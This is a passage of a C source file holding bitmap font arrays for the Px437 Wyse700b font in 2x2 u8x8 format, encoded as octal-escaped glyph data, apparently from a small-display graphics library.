"\17\17\6\0\0\0\14\14\14\14\4\204\304\344\374|<\34\0\0\0\0\0\0\0\0\37\37\37\37\0\0" "\0\0\0\0\0\0\60xx\374\314\204\204\204\314\374xx\60\0\0\0\6\17\17\37\31\20\20\20\31\37" "\17\17\6\0\0\0\60xx\374\314\204\204\204\214\374\370\370\360\0\0\0\0\0\20\20\20\20\20\20\30\37" "\17\17\7\0\0\0\0\0\0\0\60\60\60\60\0\0\0\0\0\0\0\0\0\0\0\0\14\14\14\14\0\0" "\0\0\0\0\0\0\0\0\0\0\60\60\60\60\0\0\0\0\0\0\0\0\0\0\0\20\34\34\34\14\0\0" "\0\0\0\0\0\0\200\300\340\360x<\34\14\4\0\0\0\0\0\0\0\0\1\3\7\17\36\34\30\20\0" "\0\0\0\0\0\0@@@@@@@@@@@@\0\0\0\0\2\2\2\2\2\2\2\2\2\2" "\2\2\0\0\0\0\0\0\0\4\14\34\77\77\77\1\0" "\0\0\0\0\0\0`\360\360\370\230\10\10\10\230\370\360\360`\0\0\0\14\36\36\77\63!!!\63\77" "\36\36\14\0\0\0`\360\360\370\230\10\10\10\30\370\360\360\340\0\0\0\0\0 !!!!!\61\77" "\37\37\17\0\0\0\0\0\0\0````\0\0\0\0\0\0\0\0\0\0\0\0\30\30\30\30\0\0" "\0\0\0"; /* Fontname: -FreeType-Px437 Wyse700b-Medium-R-Normal--16-160-72-72-P-124-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 151/288 BBX Build Mode: 3 */ const uint8_t u8x8_font_px437wyse700b_2x2_f[7172] U8X8_FONT_SECTION("u8x8_font_px437wyse700b_2x2_f") = " \377\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\33\33\33\0\0" "\0\0\0\0\0\0\0\36\36\36\0\0\0\0\36\36\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \370\370\370 \370\370\370 \0\0\4\4\37\37\37\4\4\4\4\37\37" "\37\4\4\0\0\60xx\314\204\204\376\376\204\204\214\30\30\20\0\0\4\14\14\30\20\20\77\77\20\20\31" "\17\17\6\0\0\0\0\60\60\60\60\0\200\300\340p\60\20\0\0\0\0\0\20\30\34\16\7\3\1\30\30" "\30\30\0\0\0\0\20\70\270\354\304\304\304\354\70\70\220\200\200\0\0\6\17\17\31\20\20\20\31\37\17\17" "\37\31\20\0\0\0\0\0\0\20\30\34\16\6\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\360\370\34\14\4\0\0\0\0\0\0\0\0\0\0\3\7\17\34\30\20\0" "\0\0\0\0\0\0\0\0\0\4\14\34\370\360\340\0\0\0\0\0\0\0\0\0\0\20\30\34\17\7\3\0" "\0\0\0\0\0\0\200\200\240\240\340\300\300\300\340\240\240\200\200\0\0\0\0\0\2\2\3\1\1\1\3\2" "\2\0\0\0\0\0\200\200\200\200\200\360\360\360\200\200\200\200\200\0\0\0\0\0\0\0\0\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@xx\70\30\0\0" "\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\30\30\30\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340p\70\30\10\0\0\0\0\0\10\14\16\7\3\1\0\0\0" "\0\0\0\0\0\0\360\370\370\14\4\204\304d<\370\370\360\0\0\0\0\7\17\17\36\23\21\20\20\30\17" "\17\7\0\0\0\0\0\0\20\20\30\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\10\10\14\4\4\4\4\204\204\314xx\60\0\0\0\30\34\34\26\22\23\21\21\20\20" "\20\20\20\0\0\0\10\10\14\4\4\204\204\204\204\314xx\60\0\0\0\10\10\30\20\20\20\20\20\20\31" "\17\17\6\0\0\0\200\300\340p\70\34\14\374\374\374\0\0\0\0\0\0\1\1\1\1\1\1\1\37\37\37" "\1\1\0\0\0\0|||DDDDDD\304\204\204\4\0\0\0\10\10\30\20\20\20\20\20\20\30" "\17\17\7\0\0\0\360\370\370\214\204\204\204\204\204\204\0\0\0\0\0\0\7\17\17\30\20\20\20\20\20\31" "\17\17\6\0\0\0\4\4\4\4\4\204\304\344|<\34\0\0\0\0\0\0\0\0\0\37\37\37\0\0\0" "\0\0\0\0\0\0\60xx\314\204\204\204\204\204\314xx\60\0\0\0\6\17\17\31\20\20\20\20\20\31" "\17\17\6\0\0\0\60xx\314\204\204\204\204\204\214\370\370\360\0\0\0\0\0\20\20\20\20\20\20\20\30" "\17\17\7\0\0\0\0\0\0\0\60\60\60\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\14\0\0\0" "\0\0\0\0\0\0\0\0\0\0\60\60\60\0\0\0\0\0\0\0\0\0\0\0\0\20\34\34\14\0\0\0" "\0\0\0\0\0\0\0\200\300\340p\70\34\14\4\0\0\0\0\0\0\0\0\0\1\3\7\16\34\30\20\0" "\0\0\0\0\0\0@@@@@@@@@@@@\0\0\0\0\2\2\2\2\2\2\2\2\2\2" "\2\2\0\0\0\0\0\0\0\4\14\34\70p\340\300\200\0\0\0\0\0\0\0\0\20\30\34\16\7\3\1" "\0\0\0\0\0\0\20\30\30\14\4\4\204\304\354x\70\20\0\0\0\0\0\0\0\0\0\33\33\33\0\0" "\0\0\0\0\0\360\370\370\14\4\304\344\344$$,\370\370\360\0\0\7\17\17\30\20\21\23\23\22\22\22" "\23\23\1\0\0\0\300\340\360\70\34\14\14\34\70\360\340\300\0\0\0\0\37\37\37\1\1\1\1\1\1\37" "\37\37\0\0\0\0\374\374\374\204\204\204\204\204\204\314xx\60\0\0\0\37\37\37\20\20\20\20\20\20\31" "\17\17\6\0\0\0\360\370\370\14\4\4\4\4\4\14\30\30\20\0\0\0\7\17\17\30\20\20\20\20\20\30" "\14\14\4\0\0\0\374\374\374\4\4\4\4\4\4\14\370\370\360\0\0\0\37\37\37\20\20\20\20\20\20\30" "\17\17\7\0\0\0\374\374\374\204\204\204\204\204\204\4\4\4\0\0\0\0\37\37\37\20\20\20\20\20\20\20" "\20\20\0\0\0\0\374\374\374\204\204\204\204\204\204\4\4\4\0\0\0\0\37\37\37\0\0\0\0\0\0\0" "\0\0\0\0\0\0\360\370\370\14\4\4\4\4\4\14\30\30\20\0\0\0\7\17\17\30\20\20\20\20\21\31" "\17\17\7\0\0\0\374\374\374\200\200\200\200\200\200\200\374\374\374\0\0\0\37\37\37\0\0\0\0\0\0\0" "\37\37\37\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\4\14\14\30\20\20\20\30\17" "\17\7\0\0\0\0\0\374\374\374\300\340\360\70\34\14\4\0\0\0\0\0\0\37\37\37\0\1\3\7\16\34" "\30\20\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\20\20\20\20\20\20\20" "\20\20\0\0\0\374\374\374\34\70p\340\340p\70\34\374\374\374\0\0\37\37\37\0\0\0\0\0\0\0\0" "\37\37\37\0\0\0\374\374\374\70p\340\300\200\0\0\374\374\374\0\0\0\37\37\37\0\0\0\1\3\7\16" "\37\37\37\0\0\0\360\370\370\14\4\4\4\4\4\14\370\370\360\0\0\0\7\17\17\30\20\20\20\20\20\30" "\17\17\7\0\0\0\374\374\374\204\204\204\204\204\204\314xx\60\0\0\0\37\37\37\0\0\0\0\0\0\0" "\0\0\0\0\0\0\360\370\370\14\4\4\4\4\4\14\370\370\360\0\0\0\7\17\17\30\20\20\24\34\34\70" "\77/\7\0\0\0\374\374\374\204\204\204\204\204\204\314xx\60\0\0\0\37\37\37\0\0\0\1\3\7\16" "\34\30\20\0\0\60xx\314\204\204\204\204\204\204\214\30\30\20\0\0\4\14\14\30\20\20\20\20\20\20\31" "\17\17\6\0\0\0\4\4\4\4\4\374\374\374\4\4\4\4\4\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\374\374\374\0\0\0\7\17\17\30\20\20\20\20\20\30" "\17\17\7\0\0\0\374\374\374\0\0\0\0\0\0\374\374\374\0\0\0\0\1\3\7\16\34\30\30\34\16\7" "\3\1\0\0\0\374\374\374\0\0\0\0\0\0\0\0\374\374\374\0\0\7\17\37\30\34\16\7\7\16\34\30" "\37\17\7\0\0\0\14\34\34\16\7\3" "\1\0\0\0\0\0@@@@@@@@@\300\300\300@\0\0\0\20\30\30\34\24\26\22\23\21\21" "\20\20\20\0\0\0\0\200\200\200\360x|\14\4\4\4\0\0\0\0\0\0\0\0\0\7\17\37\30\20\20" "\20\0\0\0\0\0\0\0\0\0\0|||\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\0\4\4\4\14|x\360\200\200\200\0\0\0\0\0\0\20\20\20\30\37\17\7\0\0" "\0\0\0\0\0\0\10\10\10\14\4\4\14\10\10\14\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\200\300@` \60\20\60 `@\300\200\200\0\3\3\3\2\2\2\2\2\2\2\2" "\2\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\354\354\354\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\340\340\360\20\20\34\34\34\20\20\60 \0\0\0\3\3\7\4\4\34\34\34\4\6" "\6\2\2\0\0\0\0@@\370\370\374DD\4\14\10\10\0\0\0\0\30\30\30\37\37\37\20\20\20\20" "\30\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\204\214\234\270\360\340\300\340\360\270\234\214\204\0\0\0\2\2\2\2\2\37\37\37\2\2" "\2\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\304\304\356*:\22\22\22\62\42\346\304\304\0\0\0\10\10\31\21\23\22\22\22\27\25" "\35\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\230\230\274\244\244\244\244\274\274\274\240\240\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\200\300@` \240\200\300@` \0\0\0\0\0\1\1\3\2\2\0\1\1" "\3\2\2\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0" "\0\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\14\14\36\22\22\22\22\36\14\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0@@@@@\370\370\370@@@@@\0\0\0\10\10\10\10\10\13\13\13\10\10" "\10\10\10\0\204\304\306\342\242\262\222\236\214\214\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\340\340\0\0\0\0\0\340\340\340\0\0\0 \77\37\37\4\4\4\4\6" "\3\3\1\0\0xx\374\204\204\204\374\374\374\4\4\374\374\374\4\0\0\0\0\0\0\0\37\37\37\0\0" "\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\230\230\274\244\244\244\244\274\230\230\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0 `@\300\200\240 `@\300\200\200\0\0\0\2\2\3\1\1\0\2\2\3\1" "\1\0\0\0\0\10|||\0\0\200\200\300@` \0\0\0\4\4\6\2\3\1\31\30\34\24>" ">>\20\0\0\10|||\0\0\200\200\300@` \0\0\0\4\4\6\2\3\1\1 \62\62:" "..$\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\354\354\354\0\0\0\0\0\0\0\0\0\4\16\16\33\21\21\20\20\30\14" "\14\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\206\306\346p\60\60p\346\306\206\0\0\0\0\0\37\37\37\2\2\2\2\2\2\37" "\37\37\0\0\0\0\0\200\302\342w\65\65w\342\302\200\0\0\0\0\0\37\37\37\2\2\2\2\2\2\37" "\37\37\0\0\0\300\340\360\270\234\214\204\374\374\374\204\204\204\204\4\0\37\37\37\0\0\0\0\37\37\37\20" "\20\20\20\20\0\0\360\370\370\14\4\4\4\4\4\4\14\30\30\0\0\0\3\7GLHHHHXx" "|&\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\360\360\360\24\24\26\22\23\21\21\20\20\0\0\0\0\37\37\37\21\21\21\21\21\21\20" "\20\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\364\364\364v\342\302\206\4\4\6\362\362\362\0\0\0\37\37\37\0\0\1\3\7\16\34" "\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\346\346\66\20\20\20\20\20\66\346\346\300\0\0\0\7\17\17\30\20\20\20\20\20\30" "\17\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\360\366\366\6\0\0\0\0\0\6\366\366\360\0\0\0\7\17\17\30\20\20\20\20\20\30" "\17\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\340\340\360\220\220\220\220\220\220\220\360``\0\0\0\37\77\77\4\4\4\4\4\4\4" "\7\3\3\0\0\0\0\0@DDLHXPP\300\200\200\0\0\0\16\16\37\21\21\21\21\21\21\21" "\37\37\37\0\0\0\0\0@PPXHLDD\300\200\200\0\0\0\16\16\37\21\21\21\21\21\21\21" "\37\37\37\0\0\0\0\20PXHLDLHX\320\220\200\0\0\0\16\16\37\21\21\21\21\21\21\21" "\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\30XX@@@@@X\330\230\200\0\0\0\16\16\37\21\21\21\21\21\21\21" "\37\37\37\0\0\0\0\0HH\134TTT\134H\310\200\200\0\0\0\16\16\37\21\21\21\21\21\21\21" "\37\37\37\0\0\0@@@@\300\200\200\300@@@\300\300\200\14\36\36\22\22\22\37\37\37\37\22\22" "\22\23\23\21\0\0\200\200\300@@@@@@\300\200\200\0\0\0\0\7\7OHHHHXx|" "$\4\0\0\0\0\200\200\300DDLHXPP\300\200\200\0\0\0\17\17\37\22\22\22\22\22\22\22" "\23\23\3\0\0\0\200\200\300@PPXHLD\304\200\200\0\0\0\17\17\37\22\22\22\22\22\22\22" "\23\23\3\0\0\0\200\220\320XHLDLHX\320\220\200\0\0\0\17\17\37\22\22\22\22\22\22\22" "\23\23\3\0\0\0\200\230\330X@@@@@X\330\230\200\0\0\0\17\17\37\22\22\22\22\22\22\22" "\23\23\3\0\0\0\0\0\4\4\14\310\330\320\20\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\0\0\0\20\20\330\310\314\4\4\0\0\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\0\20\20\30\10\314\304\314\10\30\20\20\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\0\30\30\30\0\300\300\300\0\30\30\30\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\320\320\320XHHXP\320\230\210\10\0\0\0\0\37\37\37\0\0\0\0\0\0\37" "\37\37\0\0\0\0\0\200\200\304DLHXP\320\200\200\0\0\0\0\7\17\17\30\20\20\20\20\20\30" "\17\17\7\0\0\0\0\200\200\320PXHLD\304\200\200\0\0\0\0\7\17\17\30\20\20\20\20\20\30" "\17\17\7\0\0\0\0\220\220\330HLDLH\330\220\220\0\0\0\0\7\17\17\30\20\20\20\20\20\30" "\17\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\230\230\330@@@@@\330\230\230\0\0\0\0\7\17\17\30\20\20\20\20\20\30" "\17\17\7\0\0\0\200\200\200\200\200\230\230\230\200\200\200\200\200\0\0\0\0\0\0\0\0\14\14\14\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\304\4\14\10\30\20\20\300\300\300\0\0\0\0\17\17\37\20\20\20\20\20\20\37" "\37\37\0\0\0\0\300\300\300\20\20\30\10\14\4\304\300\300\0\0\0\0\17\17\37\20\20\20\20\20\20\37" "\37\37\0\0\0\0\320\320\330\10\14\4\4\14\10\330\320\320\0\0\0\0\17\17\37\20\20\20\20\20\20\37" "\37\37\0\0\0\0\300\330\330\30\0\0\0\0\30\330\330\300\0\0\0\0\17\17\37\20\20\20\20\20\20\37" "\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0@\330\330\230\0\0\0\0\0\230\330\330@\0\0\0\0\0Acw>\34\16\7\3" "\1\0\0"; /* Fontname: -FreeType-Px437 Wyse700b-Medium-R-Normal--16-160-72-72-P-124-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 96/288 BBX Build Mode: 3 */ const uint8_t u8x8_font_px437wyse700b_2x2_r[3077] U8X8_FONT_SECTION("u8x8_font_px437wyse700b_2x2_r") = " \177\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\33\33\33\0\0" "\0\0\0\0\0\0\0\36\36\36\0\0\0\0\36\36\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \370\370\370 \370\370\370 \0\0\4\4\37\37\37\4\4\4\4\37\37" "\37\4\4\0\0\60xx\314\204\204\376\376\204\204\214\30\30\20\0\0\4\14\14\30\20\20\77\77\20\20\31" "\17\17\6\0\0\0\0\60\60\60\60\0\200\300\340p\60\20\0\0\0\0\0\20\30\34\16\7\3\1\30\30" "\30\30\0\0\0\0\20\70\270\354\304\304\304\354\70\70\220\200\200\0\0\6\17\17\31\20\20\20\31\37\17\17" "\37\31\20\0\0\0\0\0\0\20\30\34\16\6\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\360\370\34\14\4\0\0\0\0\0\0\0\0\0\0\3\7\17\34\30\20\0" "\0\0\0\0\0\0\0\0\0\4\14\34\370\360\340\0\0\0\0\0\0\0\0\0\0\20\30\34\17\7\3\0" "\0\0\0\0\0\0\200\200\240\240\340\300\300\300\340\240\240\200\200\0\0\0\0\0\2\2\3\1\1\1\3\2" "\2\0\0\0\0\0\200\200\200\200\200\360\360\360\200\200\200\200\200\0\0\0\0\0\0\0\0\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@xx\70\30\0\0" "\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\30\30\30\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340p\70\30\10\0\0\0\0\0\10\14\16\7\3\1\0\0\0" "\0\0\0\0\0\0\360\370\370\14\4\204\304d<\370\370\360\0\0\0\0\7\17\17\36\23\21\20\20\30\17" "\17\7\0\0\0\0\0\0\20\20\30\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\10\10\14\4\4\4\4\204\204\314xx\60\0\0\0\30\34\34\26\22\23\21\21\20\20" "\20\20\20\0\0\0\10\10\14\4\4\204\204\204\204\314xx\60\0\0\0\10\10\30\20\20\20\20\20\20\31" "\17\17\6\0\0\0\200\300\340p\70\34\14\374\374\374\0\0\0\0\0\0\1\1\1\1\1\1\1\37\37\37" "\1\1\0\0\0\0|||DDDDDD\304\204\204\4\0\0\0\10\10\30\20\20\20\20\20\20\30" "\17\17\7\0\0\0\360\370\370\214\204\204\204\204\204\204\0\0\0\0\0\0\7\17\17\30\20\20\20\20\20\31" "\17\17\6\0\0\0\4\4\4\4\4\204\304\344|<\34\0\0\0\0\0\0\0\0\0\37\37\37\0\0\0" "\0\0\0\0\0\0\60xx\314\204\204\204\204\204\314xx\60\0\0\0\6\17\17\31\20\20\20\20\20\31" "\17\17\6\0\0\0\60xx\314\204\204\204\204\204\214\370\370\360\0\0\0\0\0\20\20\20\20\20\20\20\30" 